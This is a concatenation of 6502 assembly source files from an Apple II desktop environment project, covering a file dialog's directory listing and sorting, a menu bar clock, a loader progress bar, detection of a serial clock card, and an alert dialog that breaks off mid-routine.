sta num_file_names
jeq close
ptr := $06
copy16 #dir_read_buf+.sizeof(SubdirectoryHeader), ptr
do_entry:
param_call_indirect AdjustFileEntryCase, ptr
ldy #FileEntry::storage_type_name_length
lda (ptr),y
and #NAME_LENGTH_MASK
beq done_entry ; deleted entry
ldx entry_index
txa
sta file_list_index,x
;; Invisible?
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsShowInvisible
IF_ZERO
ldy #FileEntry::access
lda (ptr),y
and #ACCESS_I
IF_NE
dec num_file_names ; invisible, so skip
jmp done_entry
END_IF
END_IF
;; Directory?
ldy #FileEntry::storage_type_name_length
lda (ptr),y
and #STORAGE_TYPE_MASK
cmp #ST_LINKED_DIRECTORY << 4
beq is_dir
bit only_show_dirs_flag
bpl not_dir ; not dir, but show
dec num_file_names ; not dir, so skip
jmp done_entry
;; Flag as "is dir"
is_dir:
ldx entry_index
lda file_list_index,x
ora #$80
sta file_list_index,x
not_dir:
ldy #FileEntry::storage_type_name_length
lda (ptr),y
and #NAME_LENGTH_MASK
sta (ptr),y
lda entry_index
jsr _CopyIntoNthFilename
inc entry_index
done_entry:
inc entry_in_block
lda entry_index
cmp num_file_names
bne next
close: MLI_CALL CLOSE, close_params
jsr _SortFileNames
clc
rts
next: lda entry_in_block
IF_A_NE entries_per_block
add16_8 ptr, entry_length
jmp do_entry
END_IF
;; Next block
MLI_CALL READ, read_params
copy16 #dir_read_buf+$04, ptr ; skip past pointers
copy8 #0, entry_in_block
jmp do_entry
entry_index:
.byte 0
entry_in_block:
.byte 0
entry_length:
.byte 0
entries_per_block:
.byte 0
.endproc ; _ReadDir
;;; ============================================================
DEFINE_ON_LINE_PARAMS on_line_drives_params, 0, dir_read_buf
.proc _ReadDrives
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
MLI_CALL ON_LINE, on_line_drives_params
ptr := $06
copy16 #dir_read_buf, ptr
copy8 #0, num_file_names
loop: ldy #0
lda (ptr),y ; A = unit_num | name_len
and #NAME_LENGTH_MASK
IF_ZERO
iny ; 0 signals error or complete
lda (ptr),y
bne next ; error, so skip
beq finish ; always
END_IF
param_call_indirect AdjustOnLineEntryCase, ptr
lda num_file_names
jsr _CopyIntoNthFilename
ldx num_file_names
txa
ora #$80 ; treat as folder
sta file_list_index,x
inc num_file_names
next: add16_8 ptr, #16 ; advance to next
jmp loop
finish:
jsr _SortFileNames
jsr _SetCursorPointer
.ifdef FD_EXTENDED
CLEAR_BIT7_FLAG cursor_ibeam_flag
.endif
clc
rts
.endproc ; _ReadDrives
;;; ============================================================
;;; Inputs: A = dst filename index; $06 = src ptr
;;; Trashes $08
.proc _CopyIntoNthFilename
src_ptr := $06
dst_ptr := $08
jsr _GetNthFilename
stax dst_ptr
ldy #0
lda (src_ptr),y
tay
DO
lda (src_ptr),y
sta (dst_ptr),y
dey
WHILE_POS
rts
.endproc ; _CopyIntoNthFilename
;;; ============================================================
.proc _UpdateDiskAndDirNames
MGTK_CALL MGTK::SetPort, file_dialog_res::winfo::port
copy8 #kGlyphDiskLeft, file_dialog_res::filename_buf+1
copy8 #kGlyphDiskRight, file_dialog_res::filename_buf+2
copy8 #kGlyphSpacer, file_dialog_res::filename_buf+3
;; --------------------------------------------------
;; Disk Name
MGTK_CALL MGTK::SetPenMode, file_dialog_res::pencopy
MGTK_CALL MGTK::PaintRect, file_dialog_res::disk_name_rect
jsr _IsRootPath
IF_NE
copy16 #path_buf, $06
ldy #3
;; Copy first segment
ldx #2 ; skip leading slash
DO
lda path_buf,x
BREAK_IF_A_EQ #'/'
iny
sta file_dialog_res::filename_buf,y
BREAK_IF_X_EQ path_buf
inx
WHILE_NOT_ZERO ; always
sty file_dialog_res::filename_buf
MGTK_CALL MGTK::MoveTo, file_dialog_res::disk_label_pos
param_call _DrawStringCentered, file_dialog_res::filename_buf
END_IF
;; --------------------------------------------------
;; Dir Name
MGTK_CALL MGTK::PaintRect, file_dialog_res::dir_name_rect
copy16 #path_buf, $06
jsr _IsRootPath
IF_NE
;; Copy last segment
ldx path_buf
DO
lda path_buf,x
BREAK_IF_A_EQ #'/'
dex
WHILE_NOT_ZERO ; always
inx
IF_X_NE #2
copy8 #kGlyphFolderLeft, file_dialog_res::filename_buf+1
copy8 #kGlyphFolderRight, file_dialog_res::filename_buf+2
END_IF
ldy #4
DO
lda path_buf,x
sta file_dialog_res::filename_buf,y
BREAK_IF_X_EQ path_buf
iny
inx
WHILE_NOT_ZERO ; always
sty file_dialog_res::filename_buf
MGTK_CALL MGTK::MoveTo, file_dialog_res::dir_label_pos
param_call _DrawStringCentered, file_dialog_res::filename_buf
END_IF
rts
.endproc ; _UpdateDiskAndDirNames
;;; ============================================================
;;; Sorts `file_list_index` so names are in ascending order
;;; Assert: On entry, `file_list_index` table is populated 0...`num_file_names`-1
.proc _SortFileNames
lda num_file_names
RTS_IF_A_LT #2 ; can't sort < 2 records
;; --------------------------------------------------
;; Selection sort
ptr1 := $06
ptr2 := $08
ldx num_file_names
dex
stx outer
DO
outer := *+1
lda #SELF_MODIFIED_BYTE
jsr _CalcPtr
stax ptr2
lda #0
sta inner
DO
inner := *+1
lda #SELF_MODIFIED_BYTE
jsr _CalcPtr
stax ptr1
jsr _CompareStrings
IF_GE
;; Swap
ldx inner
ldy outer
swap8 file_list_index,x, file_list_index,y
lda outer
jsr _CalcPtr
stax ptr2
END_IF
inc inner
lda inner
WHILE_A_NE outer
dec outer
WHILE_NOT_ZERO
rts
.proc _CalcPtr
tax
lda file_list_index,x
and #$7F
jmp _GetNthFilename
.endproc ; _CalcPtr
;;; Inputs: $06, $08 are pts to strings
;;; Compare strings at $06 (1) and $08 (2).
;;; Returns C=0 for 1<2 , C=1 for 1>=2, Z=1 for 1=2
.proc _CompareStrings
ldy #0
copy8 (ptr1),y, len1
copy8 (ptr2),y, len2
iny
DO
lda (ptr2),y
jsr _ToUpperCase
sta char
lda (ptr1),y
jsr _ToUpperCase
char := *+1
cmp #SELF_MODIFIED_BYTE
bne ret ; differ at Yth character
;; End of string 1?
len1 := *+1
cpy #SELF_MODIFIED_BYTE
IF_EQ
cpy len2 ; 1<2 or 1=2 ?
rts
END_IF
;; End of string 2?
len2 := *+1
cpy #SELF_MODIFIED_BYTE
beq gt ; 1>2
iny
WHILE_NOT_ZERO ; always
gt: lda #$FF ; Z=0
sec
ret: rts
.endproc ; _CompareStrings
.endproc ; _SortFileNames
;;; ============================================================
;;; Find index to filename in file_list_index.
;;; Input: A,X = ptr to filename
;;; Output: A = index, or $FF if not found
.ifdef FD_EXTENDED
.proc _FindFilenameIndex
name_ptr := $08
curr_ptr := $06
stax name_ptr
;; Compare against each filename
lda #0
sta index
copy16 #file_names, curr_ptr
loop:
index := *+1
lda #SELF_MODIFIED_BYTE
cmp num_file_names
beq failed
;; Check length
jsr _SortFileNames::_CompareStrings
beq found
;; No match - next!
inc index
add16_8 curr_ptr, #16
jmp loop
failed: return #$FF
;; Now find index
found: ldx num_file_names
DO
dex
lda file_list_index,x
and #$7F
WHILE_A_NE index
txa
rts
.endproc ; _FindFilenameIndex
.endif
;;; ============================================================
.ifdef FD_EXTENDED
;;; Dynamically altered table of handlers.
kJumpTableSize = 6
jump_table:
HandleOK: jmp 0
HandleCancel: jmp 0
ASSERT_EQUALS * - jump_table, kJumpTableSize
.endif ; FD_EXTENDED
;;; ============================================================
;;; List Box
;;; ============================================================
ASSERT_EQUALS .sizeof(file_dialog_res::listbox_rec), .sizeof(LBTK::ListBoxRecord)
num_file_names := file_dialog_res::listbox_rec::num_items
selected_index := file_dialog_res::listbox_rec::selected_index
.proc OnListSelectionChange
jsr _UpdateDynamicButtons
rts
.endproc ; OnListSelectionChange
;;; ============================================================
;;; Called with A = index, X,Y = addr of drawing pos (MGTK::Point)
.proc DrawListEntryProc
pha
pt_ptr := $06
stxy pt_ptr
ldy #.sizeof(MGTK::Point)-1
DO
lda (pt_ptr),y
sta file_dialog_res::item_pos,y
dey
WHILE_POS
pla
tax
lda file_list_index,x
pha
and #$7F
jsr _GetNthFilename
stax ptr
ldx #kMaxFilenameLength
DO
ptr := *+1
lda SELF_MODIFIED,x
sta file_dialog_res::filename_buf,x
dex
WHILE_POS
copy16 #kListViewNameX, file_dialog_res::item_pos+MGTK::Point::xcoord
MGTK_CALL MGTK::MoveTo, file_dialog_res::item_pos
param_call DrawString, file_dialog_res::filename_buf
;; Folder glyph?
copy16 #kListViewIconX, file_dialog_res::item_pos+MGTK::Point::xcoord
MGTK_CALL MGTK::MoveTo, file_dialog_res::item_pos
pla
IF_NS
ldax #file_dialog_res::str_folder
ldy path_buf
IF_Y_EQ #1
ldax #file_dialog_res::str_vol
END_IF
ELSE
ldax #file_dialog_res::str_file
END_IF
jmp DrawString
.endproc ; DrawListEntryProc
;;; ============================================================
.endscope ; file_dialog_impl
;;; "Exports"
CloseWindow := file_dialog_impl::CloseWindow
EventLoop := file_dialog_impl::EventLoop
GetPath := file_dialog_impl::GetPath
InitPathWithDefaultDevice := file_dialog_impl::InitPathWithDefaultDevice
OpenWindow := file_dialog_impl::OpenWindow
Init := file_dialog_impl::Init
UpdateListFromPath := file_dialog_impl::UpdateListFromPath
StripPathBufSegment := file_dialog_impl::StripPathBufSegment
only_show_dirs_flag := file_dialog_impl::only_show_dirs_flag
selection_requirement_flags := file_dialog_impl::selection_requirement_flags
kSelectionOptional = %00000000 ; unused
kSelectionOptionalUnlessRoot = %01000000
kSelectionRequiredNoDirs = %10000000
kSelectionRequiredDirsOK = %11000000
path_buf := file_dialog_impl::path_buf
STATE_START := file_dialog_impl::state_start
STATE_END := file_dialog_impl::state_end
;;; Export, since qualified name is not known by this lib/.
::file_dialog_impl__DrawListEntryProc := file_dialog_impl::DrawListEntryProc
::file_dialog_impl__OnListSelectionChange := file_dialog_impl::OnListSelectionChange
.ifdef FD_EXTENDED
DrawLineEditLabel := file_dialog_impl::DrawLineEditLabel
UpdateListFromPathAndSelectFile := file_dialog_impl::UpdateListFromPathAndSelectFile
click_handler_hook := file_dialog_impl::click_handler_hook
key_handler_hook := file_dialog_impl::key_handler_hook
extra_controls_flag := file_dialog_impl::extra_controls_flag
jump_table := file_dialog_impl::jump_table
kJumpTableSize := file_dialog_impl::kJumpTableSize
.endif
|
a2stuff/a2d
| 4,047
|
src/lib/menuclock.s
|
;;; Render current time to right side of menu bar
;;;
;;; `ShowClockForceUpdate`: force an update, even if time hasn't changed
;;; `ShowClock`: only update if time has changed
;;;
;;; Requires:
;;; `ReadSetting` defined
;;; `MGTK_CALL` defined
;;; lib/datetime.s for parsing functions
;;; `dow_strings` table
;;; `str_time` to populate
;;; `str_4_spaces`
.scope menuclock_impl
ENTRY_POINTS_FOR_BIT7_FLAG force_update, normal, force_flag
lda MACHID
and #kMachIDHasClock
RTS_IF_ZERO
MLI_CALL GET_TIME, 0
bit force_flag ; forced update
bmi update
;; Time changed?
ldx #.sizeof(DateTime)-1
DO
lda DATELO,x
cmp last_dt,x
bne update
dex
WHILE_POS
;; Settings changed?
ldx #DeskTopSettings::clock_24hours
jsr ReadSetting
cmp last_s1
bne update
ldx #DeskTopSettings::intl_time_sep
jsr ReadSetting
cmp last_s2
bne update
rts
update: COPY_STRUCT DateTime, DATELO, last_dt
ldx #DeskTopSettings::clock_24hours
jsr ReadSetting
sta last_s1
ldx #DeskTopSettings::intl_time_sep
jsr ReadSetting
sta last_s2
;; --------------------------------------------------
;; Save the current GrafPort and use a custom one for drawing
MGTK_CALL MGTK::GetPort, getport_params
MGTK_CALL MGTK::InitPort, clock_grafport
MGTK_CALL MGTK::SetPort, clock_grafport
MGTK_CALL MGTK::MoveTo, pos_clock
;; Components are drawn right-to-left.
;; --------------------------------------------------
;; Time
copy16 #parsed_date, $0A
ldax #DATELO
jsr ParseDatetime
ldax #parsed_date
jsr MakeTimeString
param_call DrawStringRight, str_time
param_call DrawStringRight, str_space
;; --------------------------------------------------
;; Day of Week
;; TODO: Make DOW calc work on ParsedDateTime
sub16 parsed_date + ParsedDateTime::year, #1900, parsed_date + ParsedDateTime::year
ldy parsed_date + ParsedDateTime::year
ldx parsed_date + ParsedDateTime::month
lda parsed_date + ParsedDateTime::day
jsr DayOfWeek
asl ; * 4
asl
clc
adc #<dow_strings
tay
lda #0
adc #>dow_strings
tax
tya
jsr DrawStringRight
;; --------------------------------------------------
;; In case string got shorter
param_call DrawStringRight, str_4_spaces
;; --------------------------------------------------
;; Restore the previous GrafPort
copy16 getport_params::portptr, @addr
MGTK_CALL MGTK::SetPort, 0, @addr
rts
;;; Draw string right-aligned to current coords, updating the
;;; current coords to be on the left side of the string.
.proc DrawStringRight
params := $6
textptr := $6
textlen := $8
result := $9
stax textptr
ldy #0
lda (textptr),y
sta textlen
inc16 textptr
MGTK_CALL MGTK::TextWidth, params
sub16 #0, result, result
lda #0
sta result+2
sta result+3
MGTK_CALL MGTK::Move, result
MGTK_CALL MGTK::DrawText, params
MGTK_CALL MGTK::Move, result
rts
.endproc ; DrawStringRight
last_dt:
.tag DateTime ; previous date/time
last_s1:.byte 0 ; previous settings
last_s2:.byte 0 ; previous settings
force_flag:
.byte 0 ; bit7 = force update
.endscope ; menuclock_impl
;;; Exports
ShowClock := menuclock_impl::normal
ShowClockForceUpdate := menuclock_impl::force_update
|
a2stuff/a2d
| 2,475
|
src/lib/loader_progress.s
|
;;; ============================================================
;;; Display progress bar on text screen.
;;; Used by Desktop.system, Desktop and Selector
;;;
;;; Clients:
;;; * must define `kProgressStops`
;;; * call `InitProgress` once
;;; * call `UpdateProgress` for each stop
;;; Assertions:
;;; * ROM is banked in, 80 column firmware active
;;;
;;; `DetectMousetext` is also defined, since all clients use it.
;;; ============================================================
kProgressVtab = 14
kProgressTick = 40 / kProgressStops
kProgressHtab = (80 - (kProgressTick * kProgressStops)) / 2
kProgressWidth = kProgressStops * kProgressTick
PREDEFINE_SCOPE UpdateProgress
.proc InitProgress
lda #0
sta UpdateProgress::count
bit supports_mousetext
bpl done
lda #kProgressVtab
jsr VTABZ
lda #kProgressHtab
sta OURCH
;; Enable MouseText
lda #$0F|$80
jsr COUT
lda #$1B|$80
jsr COUT
;; Draw progress track (alternating checkerboards)
ldx #kProgressWidth
DO
lda #'V'|$80
jsr COUT
dex
BREAK_IF_ZERO
lda #'W'|$80
jsr COUT
dex
WHILE_NOT_ZERO
;; Disable MouseText
lda #$18|$80
jsr COUT
lda #$0E|$80
jsr COUT
done: rts
.endproc ; InitProgress
.proc UpdateProgress
lda #kProgressVtab
jsr VTABZ
lda #kProgressHtab
sta OURCH
count := *+1
lda #0 ; must start as 0
clc
adc #kProgressTick
sta count
tax
lda #' ' ; inverse
DO
jsr COUT
dex
WHILE_NOT_ZERO
rts
.endproc ; UpdateProgress
;;; ============================================================
;;; Try to detect an Enhanced IIe or later (IIc, IIgs, etc),
;;; to infer support for MouseText characters.
;;; Done by testing testing for a ROM signature.
;;; Output: Sets `supports_mousetext` to $80.
.proc DetectMousetext
lda ZIDBYTE
beq enh ; IIc/IIc+ have $00
cmp #$E0 ; IIe original has $EA, Enh. IIe, IIgs have $E0
bne done
enh: copy8 #$80, supports_mousetext
done: rts
.endproc ; DetectMousetext
supports_mousetext:
.byte 0
|
a2stuff/a2d
| 4,441
|
src/lib/detect_thecricket.s
|
;;; ============================================================
;;; Detect The Cricket! attached to SSC in slot 2
;;;
;;; Inputs: $06 points at $Cs00
;;; Outputs: C=1 if detected, C=0 otherwise
;;; Assert: Interrupts disabled
;;; ============================================================
.proc DetectTheCricket
ptr := $06
;; Look for SSC
ldx #kSigSize-1
DO
ldy sig_offset,x
lda (ptr),y
cmp sig_value,x
bne not_found
dex
WHILE_POS
;; Change ptr from $Cs00 to $C0s0
lda ptr+1
pha
and #$F0
sta ptr+1
pla ; A = %1100ssss
asl ; A = $100ssss0
asl ; A = $00ssss00
asl ; A = $0ssss000
asl ; A = $ssss0000
sta ptr
TDREG = $88 ; ACIA Transmit Register (write)
RDREG = $88 ; ACIA Receive Register (read)
STATUS = $89 ; ACIA Status/Reset Register
COMMAND = $8A ; ACIA Command Register
CONTROL = $8B ; ACIA Control Register
;; Save register states
ldy #COMMAND
lda (ptr),y
sta restore_command
ldy #CONTROL
lda (ptr),y
sta restore_control
;; Configure SSC
ldy #COMMAND
lda #%00001011 ; no parity/echo/interrupts, RTS low, DTR low
sta (ptr),y
ldy #CONTROL
lda #%10011110 ; 9600 baud, 8 data bits, 2 stop bits
sta (ptr),y
;; Send "Read Cricket ID", code 0
lda #0
jsr _SendByte
bcs not_found_with_restore ; timeout
jsr _ReadByte
bcs not_found_with_restore ; timeout
cmp #'C'|$80
bne not_found_with_restore
jsr _ReadByte
bcs not_found_with_restore ; timeout
bcc digit ; always
: jsr _ReadByte
bcs not_found_with_restore ; timeout
cmp #CHAR_RETURN|$80
beq found
digit: cmp #'0'|$80 ; < '0' ?
bcc not_found_with_restore
cmp #'9'|$80+1 ; > '9' ?
bcc :-
FALL_THROUGH_TO not_found_with_restore
not_found_with_restore:
jsr restore
FALL_THROUGH_TO not_found
not_found:
clc
rts
found:
sec
FALL_THROUGH_TO restore
;; Restore register states; preserves C
restore:
ldy #CONTROL
restore_control := *+1
lda #SELF_MODIFIED_BYTE
sta (ptr),y
ldy #COMMAND
restore_command := *+1
lda #SELF_MODIFIED_BYTE
sta (ptr),y
rts
;; Write byte in A
.proc _SendByte
WRITE_DELAY_HI = $3 * 3 ; ($300 iterations is normal * 3.6MHz)
tries := $100 * WRITE_DELAY_HI
counter := $08
pha
copy16 #tries, counter
ldy #STATUS
check: lda (ptr),y
and #(1 << 4) ; transmit register empty? (bit 4)
bne ready ; yes, ready to write
dec counter
bne check
dec counter+1
bne check
pla
sec ; failed
rts
ready: pla
ldy #TDREG
sta (ptr),y ; actually write to the register
clc
rts
.endproc ; _SendByte
;; Read byte into A, or carry set if timed out
.proc _ReadByte
READ_DELAY_HI = $3 * 3 ; ($300 iterations is normal * 3.6MHz)
tries := $100 * READ_DELAY_HI
counter := $08
copy16 #tries, counter
ldy #STATUS
check: lda (ptr),y ; did we get it?
and #(1 << 3) ; receive register full? (bit 3)
bne ready ; yes, we read the value
dec counter
bne check
dec counter+1
bne check
sec ; failed
rts
ready: ldy #RDREG
lda (ptr),y ; actually read the register
clc
rts
.endproc ; _ReadByte
;;; SSC Signature
sig_offset: .byte $05, $07, $0B, $0C
sig_value: .byte $38, $18, $01, $31
kSigSize = * - sig_value
.endproc ; DetectTheCricket
|
a2stuff/a2d
| 16,327
|
src/lib/alert_dialog.s
|
;;; ============================================================
;;; Alert Dialog Definition
;;;
;;; Call `Alert` with A,X = `AlertParams` struct
;;;
;;; Requires the following proc definitions:
;;; * `Bell`
;;; * `SystemTask`
;;; Requires the following data definitions:
;;; * `alert_grafport`
;;; Requires the following macro definitions:
;;; * `MGTK_CALL`
;;; * `BTK_CALL`
;;; Optionally define:
;;; * `AD_YESNOALL` (if defined, yes/no/all buttons supported)
;;; * `AD_SAVEBG` (if defined, background saved/restored)
;;; * `AD_EJECTABLE` (if defined, polls for certain messages)
;;; If `AD_EJECTABLE`. requires `WaitForDiskOrEsc` and `ejectable_flag`
;;; ============================================================
.proc Alert
jmp start
question_bitmap:
PIXELS "....................................."
PIXELS ".###########........................."
PIXELS ".###########........................."
PIXELS ".###########........................."
PIXELS ".###########.........#########......."
PIXELS ".####..#####......###############...."
PIXELS ".####..#####.....####.........####..."
PIXELS ".####..#####....####...........####.."
PIXELS ".###########....####...#####...####.."
PIXELS ".###########....####...#####...####.."
PIXELS ".###########....############...####.."
PIXELS ".###########....###########...#####.."
PIXELS ".###########....##########...######.."
PIXELS ".###########....#########...#######.."
PIXELS ".###########....########...########.."
PIXELS ".###########....#######...#########.."
PIXELS ".###########....#######...#########.."
PIXELS ".#####..........###################.."
PIXELS ".########.......#######...########..."
PIXELS ".########......########...#######...."
PIXELS ".###........##################......."
PIXELS ".########............................"
PIXELS ".########............................"
PIXELS "....................................."
exclamation_bitmap:
PIXELS "....................................."
PIXELS ".###########........................."
PIXELS ".###########........................."
PIXELS ".###########........................."
PIXELS ".###########.........#########......."
PIXELS ".####..#####......###############...."
PIXELS ".####..#####.....######....#######..."
PIXELS ".####..#####....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....#######....########.."
PIXELS ".###########....###################.."
PIXELS ".#####..........#######....########.."
PIXELS ".########.......#######....#######..."
PIXELS ".########......##################...."
PIXELS ".###........##################......."
PIXELS ".########............................"
PIXELS ".########............................"
PIXELS "....................................."
kAlertXMargin = 20
.params alert_bitmap_params
DEFINE_POINT viewloc, kAlertRectLeft + kAlertXMargin, kAlertRectTop + 8
mapbits: .addr SELF_MODIFIED
mapwidth: .byte 6
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 36, 23
REF_MAPINFO_MEMBERS
.endparams
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
event_params: .tag MGTK::Event
event_kind := event_params + MGTK::Event::kind
event_coords := event_params + MGTK::Event::xcoord
event_key := event_params + MGTK::Event::key
;;; Bounds of the alert "window"
kAlertRectWidth = 420
kAlertRectHeight = 55
kAlertRectLeft = (::kScreenWidth - kAlertRectWidth)/2
kAlertRectTop = (::kScreenHeight - kAlertRectHeight)/2
;;; Window frame is outside the rect proper
kAlertFrameLeft = kAlertRectLeft - 1
kAlertFrameTop = kAlertRectTop - 1
kAlertFrameWidth = kAlertRectWidth + 2
kAlertFrameHeight = kAlertRectHeight + 2
DEFINE_RECT_SZ alert_rect, kAlertFrameLeft, kAlertFrameTop, kAlertFrameWidth, kAlertFrameHeight
;;; Inner frame
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT_SZ alert_inner_frame_rect, kAlertRectLeft + kBorderDX, kAlertRectTop + kBorderDY, kAlertRectWidth - kBorderDX*3 + 1, kAlertRectHeight - kBorderDY*3 + 1
;;; --------------------------------------------------
kAlertButtonTop = kAlertRectTop + 37
DEFINE_BUTTON ok_button, 0, res_string_button_ok, kGlyphReturn, kAlertRectLeft + 300, kAlertButtonTop
DEFINE_BUTTON try_again_button, 0, res_string_button_try_again, res_char_button_try_again_shortcut, kAlertRectLeft + 300, kAlertButtonTop
DEFINE_BUTTON cancel_button, 0, res_string_button_cancel, res_string_button_cancel_shortcut, kAlertRectLeft + 20, kAlertButtonTop
.ifdef AD_YESNOALL
DEFINE_BUTTON yes_button, 0, res_string_button_yes, res_char_button_yes_shortcut, kAlertRectLeft + 175, kAlertButtonTop, 65
DEFINE_BUTTON no_button, 0, res_string_button_no, res_char_button_no_shortcut, kAlertRectLeft + 255, kAlertButtonTop, 65
DEFINE_BUTTON all_button, 0, res_string_button_all, res_char_button_all_shortcut, kAlertRectLeft + 335, kAlertButtonTop, 65
.endif ; AD_YESNOALL
kTextLeft = kAlertRectLeft + 75
kTextRight = kAlertRectLeft + kAlertRectWidth - kAlertXMargin
kWrapWidth = kTextRight - kTextLeft
DEFINE_POINT pos_prompt1, kTextLeft, kAlertRectTop + 29-11
DEFINE_POINT pos_prompt2, kTextLeft, kAlertRectTop + 29
.params textwidth_params ; Used for spitting/drawing the text.
data: .addr 0
length: .byte 0
width: .word 0
.endparams
len: .byte 0 ; total string length
split_pos: ; last known split position
.byte 0
.params alert_params
text: .addr 0
buttons: .byte 0 ; AlertButtonOptions
options: .byte 0 ; AlertOptions flags
.endparams
ASSERT_EQUALS .sizeof(alert_params), .sizeof(AlertParams)
kShortcutTryAgain = res_char_button_try_again_shortcut
.ifdef AD_YESNOALL
kShortcutYes = res_char_button_yes_shortcut
kShortcutNo = res_char_button_no_shortcut
kShortcutAll = res_char_button_all_shortcut
.endif ; AD_YESNOALL
;; Actual entry point
start:
;; Copy passed params
stax addr
ldx #.sizeof(AlertParams)-1
DO
addr := *+1
lda SELF_MODIFIED,x
sta alert_params,x
dex
WHILE_POS
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
;; --------------------------------------------------
;; Draw alert
.ifdef AD_SAVEBG
bit alert_params::options
IF_VS ; V = use save area
MGTK_CALL MGTK::SaveScreenRect, alert_rect
END_IF
.endif ; AD_SAVEBG
;; Set up GrafPort - all drawing is in screen coordinates
MGTK_CALL MGTK::InitPort, alert_grafport
MGTK_CALL MGTK::SetPort, alert_grafport
MGTK_CALL MGTK::HideCursor
;; --------------------------------------------------
;; Draw alert box and bitmap
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, alert_rect ; alert background
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, alert_rect ; alert outline
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, alert_inner_frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
ldax #exclamation_bitmap
ldy alert_params::buttons
IF_NOT_ZERO
ldax #question_bitmap
END_IF
stax alert_bitmap_params::mapbits
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintBitsHC, alert_bitmap_params
;; --------------------------------------------------
;; Draw appropriate buttons
.ifdef AD_EJECTABLE
bit ejectable_flag
jmi done_buttons
.endif
bit alert_params::buttons ; high bit clear = OK only
bpl draw_ok_btn
;; Cancel button
BTK_CALL BTK::Draw, cancel_button
bit alert_params::buttons ; V bit set = Cancel + OK
bvs draw_ok_btn
.ifdef AD_YESNOALL
;; Yes/No/All?
lda alert_params::buttons
and #$0F
IF_NOT_ZERO
BTK_CALL BTK::Draw, yes_button
BTK_CALL BTK::Draw, no_button
BTK_CALL BTK::Draw, all_button
jmp done_buttons
END_IF
.endif
;; Try Again button
BTK_CALL BTK::Draw, try_again_button
jmp done_buttons
;; OK button
draw_ok_btn:
BTK_CALL BTK::Draw, ok_button
done_buttons:
;; --------------------------------------------------
;; Prompt string
.scope
;; Measure for splitting
ldxy alert_params::text
inxy
stxy textwidth_params::data
ptr := $06
copy16 alert_params::text, ptr
ldy #0
sty split_pos ; initialize
lda (ptr),y
sta len ; total length
;; Search for space or end of string
advance:
DO
iny
BREAK_IF_Y_EQ len
lda (ptr),y
WHILE_A_NE #' '
;; Does this much fit?
test: sty textwidth_params::length
MGTK_CALL MGTK::TextWidth, textwidth_params
cmp16 textwidth_params::width, #kWrapWidth
IF_LT
;; Yes, record possible split position, maybe continue.
ldy textwidth_params::length
sty split_pos
cpy len ; hit end of string?
bne advance ; no, keep looking
;; Whole string fits, just draw it.
copy8 len, textwidth_params::length
MGTK_CALL MGTK::MoveTo, pos_prompt2
MGTK_CALL MGTK::DrawText, textwidth_params
jmp done
END_IF
;; Split string over two lines.
copy8 split_pos, textwidth_params::length
MGTK_CALL MGTK::MoveTo, pos_prompt1
MGTK_CALL MGTK::DrawText, textwidth_params
add16_8 textwidth_params::data, split_pos
lda len
sec
sbc split_pos
sta textwidth_params::length
MGTK_CALL MGTK::MoveTo, pos_prompt2
MGTK_CALL MGTK::DrawText, textwidth_params
done:
.endscope
MGTK_CALL MGTK::ShowCursor
;; --------------------------------------------------
;; Play bell
bit alert_params::options
IF_NS ; N = play sound
jsr Bell
END_IF
;; --------------------------------------------------
;; Event Loop
event_loop:
.ifdef AD_EJECTABLE
bit ejectable_flag
IF_NS
jsr WaitForDiskOrEsc
jeq finish_ok
jmp finish_cancel
END_IF
.endif ; AD_EJECTABLE
jsr SystemTask
MGTK_CALL MGTK::GetEvent, event_params
lda event_kind
cmp #MGTK::EventKind::button_down
jeq HandleButtonDown
cmp #MGTK::EventKind::key_down
bne event_loop
;; --------------------------------------------------
;; Key Down
lda event_key
jsr ToUpperCase
bit alert_params::buttons ; high bit clear = OK only
bpl check_only_ok
cmp #CHAR_ESCAPE
IF_EQ
;; Cancel
BTK_CALL BTK::Flash, cancel_button
finish_cancel:
lda #kAlertResultCancel
jmp finish
END_IF
bit alert_params::buttons ; V bit set = Cancel + OK
bvs check_ok
.ifdef AD_YESNOALL
pha
lda alert_params::buttons
and #$0F
IF_NOT_ZERO
pla
IF_A_EQ #kShortcutNo
BTK_CALL BTK::Flash, no_button
lda #kAlertResultNo
jmp finish
END_IF
IF_A_EQ #kShortcutYes
BTK_CALL BTK::Flash, yes_button
lda #kAlertResultYes
jmp finish
END_IF
IF_A_EQ #kShortcutAll
BTK_CALL BTK::Flash, all_button
lda #kAlertResultAll
jmp finish
END_IF
jmp event_loop
END_IF
pla
.endif ; AD_YESNOALL
IF_A_EQ #kShortcutTryAgain
do_try_again:
BTK_CALL BTK::Flash, try_again_button
lda #kAlertResultTryAgain
jmp finish
END_IF
cmp #CHAR_RETURN ; also allow Return as default
beq do_try_again
jmp event_loop
check_only_ok:
cmp #CHAR_ESCAPE ; also allow Escape as default
beq do_ok
check_ok:
cmp #CHAR_RETURN
jne event_loop
do_ok: BTK_CALL BTK::Flash, ok_button
finish_ok:
lda #kAlertResultOK
jmp finish ; not a fixed value, cannot BNE/BEQ
;; --------------------------------------------------
;; Buttons
HandleButtonDown:
MGTK_CALL MGTK::MoveTo, event_coords
bit alert_params::buttons ; high bit clear = OK only
jpl check_ok_rect
;; Cancel
MGTK_CALL MGTK::InRect, cancel_button+BTK::ButtonRecord::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, cancel_button
jne was_no_button
lda #kAlertResultCancel
ASSERT_NOT_EQUALS ::kAlertResultCancel, 0
bne finish ; always
END_IF
bit alert_params::buttons ; V bit set = Cancel + OK
bvs check_ok_rect
.ifdef AD_YESNOALL
lda alert_params::buttons
and #$0F
IF_NOT_ZERO
